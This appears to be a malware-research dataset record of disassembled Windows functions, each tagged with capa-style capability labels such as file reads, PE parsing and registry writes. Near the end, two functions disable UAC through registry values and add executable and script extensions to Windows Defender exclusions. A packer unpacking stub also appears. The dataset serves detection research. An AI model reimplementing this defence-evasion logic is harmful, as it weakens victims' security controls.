joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402917d8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140277eb0
sub rsp, rax
mov rax, qword [0x140320800]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14028eeb4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140291827
mov rax, rbp
jmp 0x14029192f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x323410]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1402928f8
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x323410]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14029192b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14029192b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1402928f8
test rax, rax
js 0x14029192b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14029192b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14029191d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14029191d
cmp byte [rcx], 0xd
jne 0x140291903
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140291912
cmp byte [rcx + 1], 0xa
jne 0x140291912
inc rcx
jmp 0x140291912
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x320c30]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1402918e5
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14029192f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140278200
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140291b50
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140291b66
mov al, 1
jmp 0x140291bc6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140291b77
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140291bc4
mov ecx, dword [rcx + 0x18]
nop
call fcn.140296808
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140291bc4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140291bc4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140291bc4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140291bc6
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140291c98
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140323410]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140291cef
cmp word [rdx], r13w
jne 0x140291cef
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140291cf4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140291e19
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140291e3a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140291d2d
mov rdx, r9
mov word [rbx], cx
jmp 0x140291d54
cmp r9, r8
jae 0x140291d64
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140291d0e
jmp 0x140291e19
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140291e0e
cmp dword [rsp + 0x80], esi
je 0x140291e0e
lea r8, [0x140323410]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140291de6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140291db6
mov word [rbx], r13w
jmp 0x140291e16
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140291dc3
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140291e16
cmp word [rsp + 0x70], r13w
jne 0x140291df3
cmp rbx, r14
je 0x140291db0
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140292900
cmp word [rsp + 0x70], r13w
je 0x140291e19
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140323410]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140291e13
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140291e19
Function at 0x140295b54
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140295bdb
mov rsi, rbx
cmp word [rax], bp
je 0x140295b9a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140295b84
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140295b80
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14028d768
mov rdi, rax
test rax, rax
je 0x140295bc8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14029e080
mov rbp, rdi
xor ecx, ecx
call fcn.14028d72c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140298d5c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14028db40
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140298dfd
cmp ebx, dword [rsp + 0x30]
je 0x140298df6
test esi, esi
je 0x140298df6
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140298dd1
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140298dde
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140298dbb
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140298de2
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140298dff
mov eax, 1
jmp 0x140298dff
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14029cfd0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140292900
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140292900
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14029d120
cmp rax, 0xffffffffffffffff
je 0x14029d120
xor edi, edi
test rbp, rbp
jle 0x14029d0cb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14028e06c
mov rbx, rax
test rax, rax
jne 0x14029d058
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14029d0c1
mov edx, 0x8000
mov ecx, r14d
call fcn.14028bb18
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140291050
cmp eax, 0xffffffff
je 0x14029d0a1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14029d068
mov edx, r15d
mov ecx, r14d
call fcn.14028bb18
jmp 0x14029d0c1
cmp byte [rsi + 0x38], dil
je 0x14029d0b8
cmp dword [rsi + 0x34], 5
jne 0x14029d0b8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14029d0c1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14028d72c
jmp 0x14029d134
jns 0x14029d134
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140292900
cmp rax, 0xffffffffffffffff
jne 0x14029d0ec
cmp byte [rsi + 0x30], dil
je 0x14029d134
mov edi, dword [rsi + 0x2c]
jmp 0x14029d134
mov ecx, r14d
call fcn.140296808
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14029d134
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14029d134
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14029d12d
mov eax, dword [rsi + 0x2c]
jmp 0x14029d132
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140292900
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14029d970
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14029d998
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14029d998
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001bc8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c12
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c14
xor al, al
add rsp, 0x28
ret

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140009008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x140009008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140009008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret
Function at 0x1424070
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x142407d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x142408d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1424075
lea eax, [rcx + 1]
jmp 0x142409b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14240ae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1424094
sub eax, 3
jb 0x14240ce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x142411d
sar eax, 1
movsxd rbp, eax
jb 0x1424104
jmp 0x14240dc
add ebx, ebx
jne 0x14240da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1424104
inc ecx
add ebx, ebx
jne 0x14240ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1424104
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14240fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14240ec
add ecx, 2
jmp 0x1424109
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.01424032
jmp 0x142407d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1010000]
mov eax, dword [rdi]
or eax, eax
je 0x1424179
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1024000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1424129
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1424173
mov qword [rbx], rax
add rbx, 8
jmp 0x1424149
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14241bd
cmp al, 0xef
ja 0x14241a5
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1424185
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1424194
mov eax, dword [rdi]
add rdi, 4
jmp 0x1424194
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1424211
sub rsp, 0xffffffffffffff80
jmp 0x45bb20
Function at 0x14000c980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000c9cc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000c9c4
cmp dword [rcx + 0x3c], edx
jl 0x14000c9c4
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000c9c4
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000c9cc
mov rax, rdx
add rsp, 0x18
ret

Function at 0x184a6f058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x184a6f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x184a6f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x184a6f06f
add dl, dl
jne 0x184a6f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x184a6f0f6
xor eax, eax
add dl, dl
jne 0x184a6f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x184a6f1ad
add dl, dl
jne 0x184a6f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x184a6f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x184a6f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x184a6f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x184a6f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x184a6f07e
mov eax, 1
add dl, dl
jne 0x184a6f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x184a6f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x184a6f0fb
sub eax, ebx
mov ebx, 1
jne 0x184a6f14c
mov ecx, 1
add dl, dl
jne 0x184a6f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x184a6f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x184a6f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x184a6f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x184a6f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x184a6f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x184a6f15d
cmp eax, 0x7d00
jae 0x184a6f19b
cmp eax, 0x500
jb 0x184a6f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x184a6f07e
cmp eax, 0x7f
ja 0x184a6f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x184a6f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x184a6f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x184a6f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000ae80
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000acac

Function at 0x14000ec9c
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14000ec79
call fcn.14000c0a0
mov dword [rax], 0x16
call fcn.14000bf80
or eax, 0xffffffff
jmp 0x14000ec96
sub dword [rcx + 0x10], 1
jns 0x14000ec88
add rsp, 0x28
jmp 0x140014448
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14000ec58
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x14001447a
call fcn.14000c0a0
mov dword [rax], 0x16
call fcn.14000bf80
jmp 0x140014597
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140014597
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140014597
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1400144a9
lock or dword [rcx + 0x14], 0x10
jmp 0x140014597
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1400144bd
call fcn.1400145b4
mov rbx, qword [rdi + 8]
mov rcx, rdi
mov qword [rdi], rbx
call fcn.14000e8d4
mov r8d, dword [rdi + 0x20]
mov ecx, eax
mov rdx, rbx
call fcn.140016374
mov dword [rdi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140014585
mov eax, dword [rdi + 0x14]
or esi, 0xffffffff
test al, 6
jne 0x140014550
mov rcx, rdi
call fcn.14000e8d4
cmp eax, esi
je 0x14001453b
mov rcx, rdi
call fcn.14000e8d4
cmp eax, 0xfffffffe
je 0x14001453b
mov rcx, rdi
call fcn.14000e8d4
movsxd rbx, eax
lea r14, [0x140025510]
mov rcx, rdi
sar rbx, 6
call fcn.14000e8d4
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x140014542
lea rdx, [0x140024160]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140014550
lock or dword [rdi + 0x14], 0x20
cmp dword [rdi + 0x20], 0x200
jne 0x140014574
mov eax, dword [rdi + 0x14]
shr eax, 6
test al, 1
je 0x140014574
mov eax, dword [rdi + 0x14]
shr eax, 8
test al, 1
jne 0x140014574
mov dword [rdi + 0x20], 0x1000
mov rax, qword [rdi]
add dword [rdi + 0x10], esi
movzx esi, byte [rax]
inc rax
mov qword [rdi], rax
jmp 0x14001459a
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rdi + 0x14], eax
and dword [rdi + 0x10], 0
or esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, esi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x1800110be
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
jmp 0x180015d70
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180024040]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x18002a0f3]
call fcn.18001155f
nop
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rbp + 0x48], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x180015e4f
mov dword [rbp + 0x64], 0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.EnableLUA
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ConsentPromptBehaviorAdmin
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x18001ed10]
call fcn.18001146a
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.18001128a
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1800110cd
Capabilities:
Set registry value

Disassembly:
jmp 0x180015b90
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180024040]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x18002a0f3]
call fcn.18001155f
nop
lea rax, str..exe
mov qword [rbp + 8], rax
lea rax, str..bat
mov qword [rbp + 0x10], rax
lea rax, str..dll
mov qword [rbp + 0x18], rax
lea rax, str..ps1
mov qword [rbp + 0x20], rax
lea rax, [rbp + 8]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x48]
add rax, 0x20
mov qword [rbp + 0x88], rax
jmp 0x180015c27
mov rax, qword [rbp + 0x68]
add rax, 8
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x88]
cmp qword [rbp + 0x68], rax
je 0x180015cdc
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov qword [rbp + 0xa8], rax
lea rax, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x108]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jne 0x180015cd7
mov rcx, qword [rbp + 0xa8]
call fcn.18001123f
inc rax
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x180015c1b
lea rcx, [rbp - 0x30]
lea rdx, [0x18001ede0]
call fcn.18001146a
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.18001128a
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret

Function at 0x1800112ee
Capabilities:
Terminate process

Disassembly:
jmp 0x180017800
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret